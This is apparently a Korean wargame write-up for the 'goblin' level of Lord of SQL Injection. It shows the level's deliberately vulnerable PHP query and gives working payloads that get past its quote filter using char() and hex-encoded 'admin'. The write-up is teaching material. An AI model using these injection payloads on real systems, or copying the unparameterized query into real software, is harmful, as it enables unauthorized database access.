query : select id from prob_goblin where id='guest' and no=
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
코드 해석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
- no에 "prob" "_" "." "(" ")"가 포함될 경우 "No Hack ~_~" 출력
- no에 ' " `가 포함될 경우 "No Quotes ~_~" 출력
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
- id는 'guest'로 고정되어 있고, GET 방식으로 삽입되는 것을 알 수 있음
if($result['id'] == 'admin') solve("goblin");
- id가 admin일때 문제가 해결됨
문제 해결
- ' " ` 의 문자가 필터링 되기 때문에 'admin' 같은 문자를 삽입하기 힘듬
- 따라서 ASCII, Hex 값을 삽입하여 admin이라는 SQL문을 만들어 조작
- [코드변환] https://gchq.github.io/CyberChef/
1) String(admin) -> Hex(61 64 6d 69 6e)
2) String(admin) -> ASCII(97 100 109 105 110)
id를 admin으로 송신하며, 뒤에 SQL문을 주석처리
- GET 방식으로 URL에 ASCII, Hex SQL 대입
( ?no=0||id=char(97,100,109,105,110)%23 )
( ?no=0||id=0x61646d696e%23 ) - query : select id from prob_goblin where id='guest' and no=0||id=char(97,100,109,105,110)
- query : select id from prob_goblin where id='guest' and no=0||id=0x61646d696e
'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글
[ LS - 05 ] wolfman (0) | 2021.12.18 |
---|---|
[ LS - 04 ] orc (0) | 2021.12.18 |
[ LS - 02 ] cobolt (0) | 2021.12.18 |
[ LS - 01 ] gremlin (0) | 2021.12.18 |
[ LS - 00 ] Lord of SQL Injection (0) | 2021.12.18 |